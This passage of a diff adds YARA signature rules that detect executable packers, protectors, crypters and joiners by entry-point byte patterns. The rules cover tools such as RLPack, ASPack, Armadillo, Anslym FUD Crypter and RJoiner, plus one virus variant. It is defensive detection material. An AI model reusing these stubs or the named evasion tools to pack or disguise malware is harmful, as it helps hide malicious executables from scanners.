+		$0 = {E9 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E9 FB FF FF FF C3 68 00 00 00 00 64 FF 35 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V115V117_aPlib_043__ap0x_
+{
+	meta:
+		description = "RLPack V1.15-V1.17 (aPlib 0.43) -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8 45 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_v118_Basic_aPLib__Ap0x_
+{
+	meta:
+		description = "RLPack v1.18 Basic [aPLib] -> Ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83}
+	condition:
+		$0 at entrypoint
+}
+rule _UPXShit_v01__500mhz_
+{
+	meta:
+		description = "UPX-Shit v0.1 -> 500mhz"
+	strings:
+		$0 = {E8 00 00 00 00 5E 83 C6 14 AD 89 C7 AD 89 C1 AD 30 07 47 E2 FB AD FF E0 C3 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 01 ?? ?? ?? 00 55 50 58 2D 53 68 69 74 20 76 30 2E 31 20 2D 20 77 77 77 2E 62 6C 61 63 6B 6C 6F 67 69 63 2E 6E 65 74 20 2D 20 63 6F 64 65 20 62 79}
+		$1 = {E8 00 00 00 00 5E 83 C6 14 AD 89 C7 AD 89 C1 AD 30 07 47 E2 FB AD FF E0 C3 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 55 50 58 2D 53 68 69 74 20 76 30 2E 31 20 2D 20 77 77 77 2E 62 6C 61 63 6B 6C 6F 67 69 63 2E 6E 65 74 20 2D 20 63 6F 64 65 20 62 79}
+		$2 = {E8 ?? ?? ?? ?? 5E 83 C6 ?? AD 89 C7 AD 89 C1 AD 30 07 47 E2 ?? AD FF E0 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _ABC_Cryptor_10__by_ZloY_
+{
+	meta:
+		description = "ABC Cryptor 1.0 - by ZloY"
+	strings:
+		$0 = {68 FF 64 24 F0 68 58 58 58 58 90 FF D4 50 8B 40 F2 05 B0 95 F6 95 0F 85 01 81 BB FF 68 ?? ?? ?? ?? BF 00 ?? ?? ?? B9 00 ?? ?? ?? 80 37 ?? 47 39 CF 75 F8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? BF 00 ?? ?? ?? B9 00 ?? ?? ?? 80 37 ?? 47 39 CF 75 F8}
+	condition:
+		$0
+}
+rule _PESHiELD_v02__v02b__v02b2_
+{
+	meta:
+		description = "PESHiELD v0.2 / v0.2b / v0.2b2"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 41 4E 41 4B 49 4E 5D 83 ED 06 EB 02 EA 04}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V112V114_LZMA_430__ap0x_
+{
+	meta:
+		description = "RLPack V1.12-V1.14 (LZMA 4.30) -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? 60}
+	condition:
+		$0
+}
+rule _Armadillo_v253b3_
+{
+	meta:
+		description = "Armadillo v2.53b3"
+	strings:
+		$0 = {55 8B EC 6A FF 68 D8 ?? ?? ?? 68 14 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15}
+	condition:
+		$0 at entrypoint
+}
+rule _RJoiner_12a__Vaska_
+{
+	meta:
+		description = "RJoiner 1.2a -> Vaska"
+	strings:
+		$0 = {55 8B EC 81 EC 0C 01 00 00 8D 85 F4 FE FF FF 56 50 68 04 01 00 00 FF 15 0C 10 40 00 94 90 94 8D 85 F4 FE FF FF 50 FF 15 08 10 40 00 94 90 94 BE 00 20 40 00 94 90 94 83 3E FF 74 7D 53 57 33 DB 8D 7E 04 94 90 94 53 68 80 00 00 00 6A 02 53 6A 01 68 00 00 00 C0 57 FF 15 04 10 40 00 89 45 F8 94 90 94 8B 06 8D 74 06 04 94 90 94 8D 45 FC 53 50 8D 46 04 FF 36 50 FF 75 F8 FF 15 00 10 40 00 94 90 94 FF 75 F8 FF 15 10 10 40 00 94 90 94 8D 85 F4 FE FF FF 6A 0A 50 53 57 68 20 10 40 00 53 FF 15 18 10 40 00 94 90 94 8B 06 8D 74 06 04 94 90 94 83 3E FF 75 89 5F 5B 33 C0 5E C9 C2 10 00 CC CC 24 11}
+	condition:
+		$0
+}
+rule _ASPack_v212__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v2.12 -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01}
+		$1 = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_02_PE_Protect_09__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [PE Protect 0.9] --> Anorganix"
+	strings:
+		$0 = {52 51 55 57 64 67 A1 30 00 85 C0 78 0D E8 07 00 00 00 58 83 C0 07 C6 90 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Anslym_FUD_Crypter_
+{
+	meta:
+		description = "Anslym FUD Crypter"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 53 56 B8 38 17 05 10 E8 5A 45 FB FF 33 C0 55 68 21 1C 05 10 64 FF 30 64 89 20 EB 08 FC FC FC FC FC FC 27 54 E8 85 4C FB FF 6A 00 E8 0E 47 FB FF 6A 0A E8 27 49 FB FF E8 EA 47 FB FF 6A 0A}
+	condition:
+		$0 at entrypoint
+}
+rule _nbuild_v10_soft_
+{
+	meta:
+		description = "nbuild v1.0 [soft]"
+	strings:
+		$0 = {B9 ?? ?? BB ?? ?? C0 ?? ?? 80 ?? ?? 43 E2}
+	condition:
+		$0 at entrypoint
+}
+rule _BeRoEXEPacker_v100_DLL_LZBRR__BeRo__Farbrausch_
+{
+	meta:
+		description = "BeRoEXEPacker v1.00 DLL [LZBRR] -> BeRo / Farbrausch"
+	strings:
+		$0 = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC B2 80 33 DB A4 B3 02 E8 ?? ?? ?? ?? 73 F6 33 C9 E8 ?? ?? ?? ?? 73 1C 33 C0 E8 ?? ?? ?? ?? 73 23 B3 02 41 B0 10}
+	condition:
+		$0 at entrypoint
+}
+rule _hyings_PEArmor_V076__hying_
+{
+	meta:
+		description = "hying's PEArmor V0.76 -> hying"
+	strings:
+		$0 = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A ?? E8 A3 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MEW_5_10__Northfox_
+{
+	meta:
+		description = "MEW 5 1.0 -> Northfox"
+	strings:
+		$0 = {BE 5B 00 40 00 AD 91 AD 93 53 AD 96 56 5F AC C0 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_PEX_099__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [PEX 0.99] --> Anorganix"
+	strings:
+		$0 = {60 E8 01 00 00 00 55 83 C4 04 E8 01 00 00 00 90 5D 81 FF FF FF 00 01}
+	condition:
+		$0 at entrypoint
+}
+rule _North_Star_PE_Shrinker_v13_by_Liuxingping_
+{
+	meta:
+		description = "North Star PE Shrinker v1.3 by Liuxingping"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 73 ?? FF FF 8B 06 83 F8 00 74 11 8D B5 7F ?? FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 C7 06 01 00 00 00 8B D5 8B 85 4F ?? FF FF 2B D0 89 95 4F ?? FF FF 01 95 67 ?? FF FF 8D B5 83 ?? FF FF 01}
+	condition:
+		$0
+}
+rule _SimbiOZ__Extranger_
+{
+	meta:
+		description = "SimbiOZ -> Extranger"
+	strings:
+		$0 = {50 60 E8 00 00 00 00 5D 81 ED 07 10 40 00 68 80 0B 00 00 8D 85 1F 10 40 00 50 E8 84 0B 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _SVK_Protector_V13X__Pavol_Cerven_
+{
+	meta:
+		description = "SVK Protector V1.3X -> Pavol Cerven"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 ?? ?? 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E 00 74 03 46 EB F8 46 E2 E3 8B C5 8B 4C 24 20 2B 85 BD 02 00 00 89 85 B9 02 00 00 80 BD B4 02 00 00 01 75 06 8B 8D 0C 61 00 00 89 8D B5 02 00 00 8D 85 0E 03 00 00 8B DD FF E0 55 68 10 10 00 00 8D 85 B4 00 00 00 50 8D 85 B4 01 00 00 50 6A 00 FF 95 18 61 00 00 5D 6A FF FF 95 10 61 00 00 44 65 62 75 67 67 65 72 20 6F 72 20 74 6F 6F 6C 20 66 6F 72 20 6D 6F 6E 69 74 6F 72 69 6E 67 20 64 65 74 65 63 74 65 64 21 21 21 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FreeJoiner_151__GlOFF_
+{
+	meta:
+		description = "FreeJoiner 1.5.1 -> GlOFF"
+	strings:
+		$0 = {90 87 FF 90 90 B9 2B 00 00 00 BA 07 10 40 00 83 C2 03 90 87 FF 90 90 B9 04 00 00 00 90 87 FF 90 33 C9 C7 05 09 30 40 00 00 00 00 00 68 00 01 00 00 68 21 30 40 00 6A 00 E8 B7 02 00 00 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 68 21 30 40 00 E8 8F 02 00 00 A3 19 30 40 00 90 87 FF 90 8B 15 09 30 40 00 81 C2 04 01 00 00 F7 DA 6A 02 6A 00 52}
+	condition:
+		$0 at entrypoint
+}
+rule _ARCSFX_Archive_
+{
+	meta:
+		description = "ARC-SFX Archive"
+	strings:
+		$0 = {8C C8 8C DB 8E D8 8E C0 89 ?? ?? ?? 2B C3 A3 ?? ?? 89 ?? ?? ?? BE ?? ?? B9 ?? ?? BF ?? ?? BA ?? ?? FC AC 32 C2 8A D8}
+	condition:
+		$0 at entrypoint
+}
+rule _hmimys_Protect_v10_
+{
+	meta:
+		description = "hmimys Protect v1.0"
+	strings:
+		$0 = {E8 BA 00 00 00 ?? 00 00 00 00 ?? ?? 00 00 10 40 00 ?? ?? ?? 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 5E 83 C6 64 AD 50 AD 50 83 EE 6C AD 50 AD 50 AD 50 AD 50 AD 50 E8 E7 07 00 00 AD 8B DE 8B F0 83 C3 44 AD 85 C0 74 32 8B F8 56 FF 13 8B E8 AC 84 C0 75 FB AC 84 C0 74 EA 4E AD A9}
+		$1 = {E8 BA 00 00 00 ?? 00 00 00 00 ?? ?? 00 00 10 40 00 ?? ?? ?? 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 5E 83 C6 64 AD 50 AD 50 83 EE 6C AD 50 AD 50 AD 50 AD 50 AD 50 E8 E7 07 00 00 AD 8B DE 8B F0 83 C3 44 AD 85 C0 74 32 8B F8 56 FF 13 8B E8 AC 84 C0 75 FB AC 84 C0 74 EA 4E AD A9 00 00 00}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Private_exe_Protector_20__SetiSoft_Team_
+{
+	meta:
+		description = "Private exe Protector 2.0 -> SetiSoft Team"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _Software_Compress__BG_Software_
+{
+	meta:
+		description = "Software Compress -> BG Software"
+	strings:
+		$0 = {E9 BE 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v2xx__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v2.xx -> Alexey Solodovnikov"
+	strings:
+		$0 = {A8 03 00 00 61 75 08 B8 01 00 00 00 C2 0C 00 68 00 00 00 00 C3 8B 85 26 04 00 00 8D 8D 3B 04 00 00 51 50 FF 95}
+		$1 = {A8 03 ?? ?? 61 75 08 B8 01 ?? ?? ?? C2 0C ?? 68 ?? ?? ?? ?? C3 8B 85 26 04 ?? ?? 8D 8D 3B 04 ?? ?? 51 50 FF 95}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Nakedbind_10__nakedcrew_
+{
+	meta:
+		description = "Nakedbind 1.0 -> nakedcrew"
+	strings:
+		$0 = {64 8B 38 48 8B C8 F2 AF AF 8B 1F 66 33 DB 66 81 3B 4D 5A 74 08 81 EB 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Code_Virtualizer_1310__Oreans_Technologies_
+{
+	meta:
+		description = "Code Virtualizer 1.3.1.0 -> Oreans Technologies"
+	strings:
+		$0 = {60 9C FC E8 00 00 00 00 5F 81 EF ?? ?? ?? ?? 8B C7 81 C7 ?? ?? ?? ?? 3B 47 2C 75 02 EB 2E 89 47 2C B9 A7 00 00 00 EB 05 01 44 8F ?? 49 0B C9 75 F7 83 7F 40 00 74 15 8B 77 40 03 F0 EB 09 8B 1E 03 D8 01 03 83 C6 04 83 3E 00 75 F2 8B 74 24 24 8B DE 03 F0 B9 01 00 00 00 33 C0 F0 0F B1 4F 30 75 F7 AC}
+	condition:
+		$0
+}
+rule _ASDPack_20__asd_
+{
+	meta:
+		description = "ASDPack 2.0 -> asd"
+	strings:
+		$0 = {00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 8D 49 00 1F 01 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 90}
+		$1 = {5B 43 83 7B 74 00 0F 84 08 00 00 00 89 43 14 E9}
+		$2 = {8B 44 24 04 56 57 53 E8 CD 01 00 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00}
+	condition:
+		$0 or $1 or $2 at entrypoint
+}
+rule _BeRoEXEPacker_v100_LZBRR__BeRo__Farbrausch_
+{
+	meta:
+		description = "BeRoEXEPacker v1.00 [LZBRR] -> BeRo / Farbrausch"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC B2 80 33 DB A4 B3 02 E8 ?? ?? ?? ?? 73 F6 33 C9 E8 ?? ?? ?? ?? 73 1C 33 C0 E8 ?? ?? ?? ?? 73 23 B3 02 41 B0 10}
+	condition:
+		$0 at entrypoint
+}
+rule _DxPack_V086__Dxd_
+{
+	meta:
+		description = "DxPack V0.86 -> Dxd"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 8B FD 81 ED 06 10 40 00 2B BD 94 12 40 00 81 EF 06 00 00 00 83 BD 14 13 40 00 01 0F 84 2F 01 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v251_
+{
+	meta:
+		description = "Armadillo v2.51"
+	strings:
+		$0 = {55 8B EC 6A FF 68 B8 ?? ?? ?? 68 D0 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 20}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v261_
+{
+	meta:
+		description = "Armadillo v2.61"
+	strings:
+		$0 = {55 8B EC 6A FF 68 28 ?? ?? ?? 68 E4 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 6C ?? ?? ?? 33 D2 8A D4 89 15 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _Reg2Exe_224__by_Jan_Vorel_
+{
+	meta:
+		description = "Reg2Exe 2.24 - by Jan Vorel"
+	strings:
+		$0 = {6A 00 E8 CF 20 00 00 A3 F4 45 40 00 E8 CB 20 00 00 6A 0A 50 6A 00 FF 35 F4 45 40 00 E8 07 00 00 00 50 E8 BB 20 00 00 CC 68 48 00 00 00 68 00 00 00 00 68 F8 45 40 00 E8 06 19 00 00 83 C4 0C 8B 44 24 04 A3 FC 45 40 00 68 00 00 00 00 68 A0 0F 00 00 68 00 00 00 00 E8 8C 20 00 00 A3 F8 45 40 00 E8 02 20 00 00 E8 32 1D 00 00 E8 20 19 00 00 E8 A3 16 00 00 68 01 00 00 00 68 38 46 40 00 68 00 00 00 00 8B 15 38 46 40 00 E8 71 4F 00 00 B8 00 00 10 00 BB 01 00 00 00 E8 82 4F 00 00 FF 35 48 41 40 00 B8 00 01 00 00 E8 9D 15 00 00 8D 0D 1C 46 40 00 5A E8 82 16 00 00 68 00 01 00 00 FF 35 1C 46 40 00 E8 24 20 00 00 A3 24 46 40 00 FF 35 48 41 40 00 FF 35 24 46 40 00 FF 35 1C 46 40 00 E8 DC 10 00 00 8D 0D 14 46 40 00 5A E8 4A 16}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Modification_of_Hi924_
+{
+	meta:
+		description = "Vx: Modification of Hi.924"
+	strings:
+		$0 = {50 53 51 52 1E 06 9C B8 21 35 CD 21 53 BB ?? ?? 26 ?? ?? 49 48 5B}
+	condition:
+		$0 at entrypoint
+}
+rule _Inno_Setup_Module_v304betav306v307_
+{
+	meta:
+		description = "Inno Setup Module v3.0.4-beta/v3.0.6/v3.0.7"
+	strings:
+		$0 = {55 8B EC 83 C4 B8 53 56 57 33 C0 89 45 F0 89 45 BC 89 45 B8 E8 B3 70 FF FF E8 1A 85 FF FF E8 25 A7 FF FF E8 6C}
+	condition:
+		$0
+}
+rule _ZCode_Win32PE_Protector_v101_
+{
+	meta:
+		description = "ZCode Win32/PE Protector v1.01"
+	strings:
+		$0 = {E9 12 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E9 FB FF FF FF C3 68 ?? ?? ?? ?? 64 FF 35}
+	condition:
+		$0 at entrypoint
+}
+rule _ARM_Protector_01__by_SMoKE_
+{
+	meta:
+		description = "ARM Protector 0.1 - by SMoKE"
+	strings:
+		$0 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 5E 1F 40 00 EB 02 83 09 8D B5 EF 1F 40 00 EB 02 83 09 BA A3 11 00 00 EB 01 00 8D 8D 92 31 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 50 C3 8A 06 46 EB 01 00 D0 C8 E8 14 00 00 00 83 EB 01 00 2A C2 E8 00 00 00 00 5B 83 C3 07 53 C3 00 EB 04 5B 43 53 C3 EB 01 00 32 C2 E8 0B 00 00 00 00 32 C1 EB 01 00 C0 C0 02 EB 09 2A C2 5B EB 01 00 43 53 C3 88 07 EB 01 00 47 4A 75 B4}
+	condition:
+		$0 at entrypoint
+}
+rule _muckis_protector_II__mucki_
+{
+	meta:
+		description = "mucki's protector II -> mucki"
+	strings:
+		$0 = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 00 00 00 31 C0 89 41 14 89 41 18 80 6A 00 E8 85 C0 74 12 64 8B 3D 18 00 00 00 8B 7F 30 0F B6 47 02 85 C0 74 01 C3 C7 04 24 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8A 06 F6 D0 88 06 46 E2 F7 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _hmimyss_PEPack_01__hmimys_
+{
+	meta:
+		description = "hmimys's PE-Pack 0.1 -> hmimys"
+	strings:
+		$0 = {E8 00 00 00 00 5D 83 ED 05 6A 00 FF 95 E1 0E 00 00 89 85 85 0E 00 00 8B 58 3C 03 D8 81 C3 F8 00 00 00 80 AD 89 0E 00 00 01 89 9D 63 0F 00 00 8B 4B 0C 03 8D 85 0E 00 00 8B 53 08 80 BD 89 0E 00 00 00 75 0C 03 8D 91 0E 00 00 2B 95 91 0E 00 00 89 8D 57 0F 00 00 89 95 5B 0F 00 00 8B 5B 10 89 9D 5F 0F 00 00 8B 9D 5F 0F 00 00 8B 85 57 0F 00 00 53 50 E8 B7 0B 00 00 89 85 73 0F 00 00 6A 04 68 00 10 00 00 50 6A 00 FF 95 E9 0E 00 00 89 85 6B 0F 00 00 6A 04 68 00 10 00 00 68 D8 7C 00 00 6A 00 FF 95 E9 0E 00 00 89 85 6F 0F 00 00 8D 85 67 0F 00 00 8B 9D 73 0F 00 00 8B 8D 6B 0F 00 00 8B 95 5B 0F 00 00 83 EA 0E 8B B5 57 0F 00 00 83 C6 0E 8B BD 6F 0F 00 00 50 53 51 52 56 68 D8 7C 00 00 57 E8 01 01 00 00 8B 9D 57 0F 00 00 8B 03 3C 01 75}
+	condition:
+		$0 at entrypoint
+}
+rule _KBys_Packer_028_Beta__Shoooo_
+{
+	meta:
+		description = "KBys Packer 0.28 Beta -> Shoooo"
+	strings:
+		$0 = {60 E8 00 00 00 00 5E 83 EE 0A 8B 06 03 C2 8B 08 89 4E F3 83 EE 0F 56 52 8B F0 AD AD 03 C2 8B D8 6A 04 BF 00 10 00 00 57 57 6A 00 FF 53 08 5A 59 BD 00 80 00 00 55 6A 00 50 51 52 50 89 06 AD AD 03 C2 50 AD 03 C2 FF D0 6A 04 57 AD 50 6A 00 FF 53}
+	condition:
+		$0
+}
+rule _Upack_v032_Beta_Patch__Dwing_
+{
+	meta:
+		description = "Upack v0.32 Beta (Patch) -> Dwing"
+	strings:
+		$0 = {BE 88 01 ?? ?? AD 50 ?? AD 91 F3 A5}
+	condition:
+		$0
+}
+rule _PseudoSigner_01_CodeLock__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Code-Lock] --> Anorganix"
+	strings:
+		$0 = {43 4F 44 45 2D 4C 4F 43 4B 2E 4F 43 58 00 01 28 01 50 4B 47 05 4C 3F B4 04 4D 4C 47 4B E9}
+	condition:
+		$0 at entrypoint
+}
+rule _KByS_V028_DLL__shoooo_
+{
+	meta:
+		description = "KByS V0.28 DLL -> shoooo"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? BA ?? ?? ?? ?? 03 C2 FF E0 ?? ?? ?? ?? 60 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _AverCryptor_102_beta__os1r1s_
+{
+	meta:
+		description = "AverCryptor 1.02 beta -> os1r1s"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 0C 17 40 00 8B BD 33 18 40 00 8B 8D 3B 18 40 00 B8 51 18 40 00 03 C5 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 37 18 40 00 33 C0 51 33 C9 66 B9 F7 00 66 83 F9 00 74 49 8B 57 0C 03 95 37 18 40 00 8B 85 3F 18 40 00 83 F8 02 75 06 81 C2 00 02 00 00 51 8B 4F 10 83 F8 02 75 06 81 E9 00 02 00 00 57 BF C8 00 00 00 8B F1 E8 27 00 00 00 8B C8 5F B8 51 18 40 00 03 C5 E8 24 00 00 00 59 49 EB B1 59 83 C7 28 49 EB 8A 8B 85 2F 18 40 00 89 44 24 1C 61 FF E0 56 57 4F F7 D7 23 F7 8B C6 5F 5E C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_021_beta__Dwing_
+{
+	meta:
+		description = "Upack 0.21 beta -> Dwing"
+	strings:
+		$0 = {BE 88 01 40 00 AD 8B F8 6A 04 95 A5 33 C0 AB 48 AB F7 D8 59 F3 AB C1 E0 0A B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Unnamed_Scrambler_10__p0ke_
+{
+	meta:
+		description = "Unnamed Scrambler 1.0 -> p0ke"
+	strings:
+		$0 = {55 8B EC 83 C4 EC 53 56 33 C0 89 45 ?? ?? ?? ?? 40 00 E8 11 F4 FF FF BE 30 6B 40 00 33 C0 55 68 C9 42 40 00 64 FF 30 64 89 20 E8 C9 FA FF FF BA D8 42 40 00 8B ?? ?? ?? ?? FF FF 8B D8 B8 28 6B 40 00 8B 16 E8 37 F0 FF FF B8 2C 6B 40 00 8B 16 E8 2B F0 FF FF B8 28 6B 40 00 E8 19 F0 FF FF 8B D0 8B C3 8B 0E E8 42 E3 FF FF BA DC 42 40 00 8B C6 E8 2A FA FF FF 8B D8 B8 20 6B 40 00 8B 16 E8 FC EF FF FF B8 24 6B 40 00 8B 16 E8 F0 EF FF FF B8 20 6B 40 00 E8 DE EF FF FF 8B D0 8B C3 8B 0E E8 07 E3 FF FF 6A 00 6A 19 6A 00 6A 32 A1 28 6B 40 00 E8 59 EF FF FF 83 E8 05 03 C0 8D 55 EC E8 94 FE FF FF 8B 55 EC B9 24 6B 40 00 A1 20 6B 40 00 E8 E2 F6 FF FF 6A 00 6A 19 6A 00 6A 32}
+	condition:
+		$0
+}
+rule _Obsidium_1339__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.3.9 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 28 EB 02 ?? ?? 33 C0 EB 02 ?? ?? C3 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 01 ?? 50 EB 03 ?? ?? ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 04 ?? ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 04 ?? ?? ?? ?? 58 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8 CF 27 00 00}
+	condition:
+		$0 at entrypoint
+}
